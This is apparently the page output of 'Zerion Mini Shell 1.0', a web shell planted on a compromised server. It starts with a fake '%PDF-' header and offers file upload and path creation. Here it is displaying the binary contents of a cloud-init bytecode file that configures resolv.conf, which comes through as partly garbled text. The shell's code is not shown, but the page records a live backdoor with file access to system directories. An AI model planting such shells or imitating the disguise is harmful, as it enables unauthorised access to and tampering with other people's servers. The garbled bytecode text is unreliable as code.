%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/cc_resolv_conf.cpython-39.pyc

a

��h��@s�UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZe�
e�Zdd	d
�Zdgd�ed
gd�Ze
ed<dd�Zeeeedd�dd�ZdS)z"Resolv Conf: configure resolv.conf�N)�	templater�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEzresolv.confzsystemd.resolved.conf)z/etc/resolv.confz/etc/systemd/resolved.confZcc_resolv_conf)Z	almalinuxZ
cloudlinuxZalpineZ
azurelinuxZfedoraZmarinerZopensusez
opensuse-leapzopensuse-microoszopensuse-tumbleweedZphotonZrhelZsle_hpcz	sle-microZslesZ	openeuler�manage_resolv_conf)�idZdistrosZ	frequencyZactivate_by_schema_keys�metacCs�g}g}d|vrJ|d��D],\}}t|t�r|r>|�|�q|�|�q||D]}|d|=qR|�d�sti|d<||d<t�d|�t�|||�dS)N�options�flagsz$Writing resolv.conf from template %s)	�items�
isinstance�bool�append�get�LOG�debugrZrender_to_file)�template_fn�params�target_fnamerZfalse_flags�key�val�flag�r�C/usr/lib/python3.9/site-packages/cloudinit/config/cc_resolv_conf.py�generate_resolv_conf3s

r)�name�cfg�cloud�args�returncCs�d|vrt�d|�dSt�|dd�s6t�d|�dSd|vrLt�d�dSz|�t|jj�}Wnt	y�t�d�YdS0t
||d|jjd	�dS)
a[
    Handler for resolv.conf

    @param name: The module name "resolv_conf" from cloud.cfg
    @param cfg: A nested dict containing the entire cloud config contents.
    @param cloud: The L{CloudInit} object in use.
    @param log: Pre-initialized Python logger object to use for logging.
    @param args: Any module arguments from cloud.cfg
    rzFSkipping module named %s, no 'manage_resolv_conf' key in configurationNFzGSkipping module named %s, 'manage_resolv_conf' present but set to FalseZresolv_confz3manage_resolv_conf True but no parameters provided!z0No template found, not rendering resolve configs)rrr)rrrZget_cfg_option_boolZwarningZget_template_filename�RESOLVE_CONFIG_TEMPLATE_MAPZdistroZresolve_conf_fn�KeyErrorr)rrrr rrrr�handleJs8
��

�
�r$)�__doc__ZloggingZ	cloudinitrrZcloudinit.cloudrZcloudinit.configrZcloudinit.config.schemarZcloudinit.settingsrZ	getLogger�__name__rr"r
�__annotations__r�str�listr$rrrr�<module>	s"
��

Zerion Mini Shell 1.0